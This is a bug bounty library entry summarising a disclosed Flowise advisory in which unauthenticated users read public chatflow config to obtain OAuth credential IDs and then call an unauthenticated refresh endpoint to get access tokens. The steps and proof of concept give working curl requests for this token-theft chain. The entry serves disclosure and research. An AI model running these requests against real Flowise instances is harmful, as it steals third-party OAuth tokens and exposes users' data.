# Flowise: Unauthenticated OAuth 2.0 Access Token Disclosure via Public Chatflow in Flowise

Unauthenticated Flowise users can read public chatflow config to harvest OAuth credential IDs, then call the unauthenticated refresh endpoint to obtain valid OAuth 2.0 access tokens.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: melonattacker
- Disclosed: 2026-04-16
- CVE: CVE-2026-41273
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6f7g-v4pp-r667
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6f7g-v4pp-r667
- Tags: area:web domain:api domain:web impact:data-leak kind:research platform:ghsa sev:high tech:oauth tech:rest technique:chained vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Flowise REST API (public-chatbotConfig and oauth2-credential refresh endpoints)
**Root cause:** The public chatflow config endpoint returns internal flowData including OAuth credential IDs to unauthenticated users, and the OAuth2 credential refresh endpoint performs no authentication or authorization check on the credentialId.
**Steps:**
1. Obtain a public chatflowId from a public chatflow URL, embedded widget, or browser network requests, e.g. `d37b9812-72c1-4c64-b152-665f307f755e`
2. Fetch config unauthenticated: `curl -s http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e`
3. Extract the OAuth credential identifier from flowData, e.g. `"credential": "6efe0e20-ba6f-4fbb-9960-658feffa0542"`
4. Refresh the token unauthenticated: `curl -X POST http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542`
5. Read the returned `access_token` from the response
**How found:** Reporter noted chatflowId is intentionally public and not a secret, then checked what the public config endpoint actually returns and found internal flowData with credential IDs; separately observed the oauth2-credential refresh route lacked auth checks and combined the two.
**Exploitation:** Attacker needs only a public chatflowId (exposed by design). They read flowData from the unauthenticated config endpoint to learn the OAuth credential ID, then POST to the unauthenticated refresh endpoint to receive a valid OAuth 2.0 access token for the configured third-party service (e.g. Gmail), enabling unauthorized data access or API abuse.
**Escalation:** Chaining two individually unauthenticated endpoints: config disclosure of credential IDs plus unauthenticated token refresh, turning a public chatflow into third-party OAuth token theft.
**Insight:** Public/unauthenticated config endpoints often leak more than intended UI data — inspect returned flowData/node definitions for internal credential IDs, then look for sibling endpoints (refresh, test, validate) that accept those IDs without auth.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl to public-chatbotConfig leaking flowData**

```
curl -s \
  http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e
```

**Unauthenticated OAuth token refresh request**

```
curl -X POST \
  http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542
```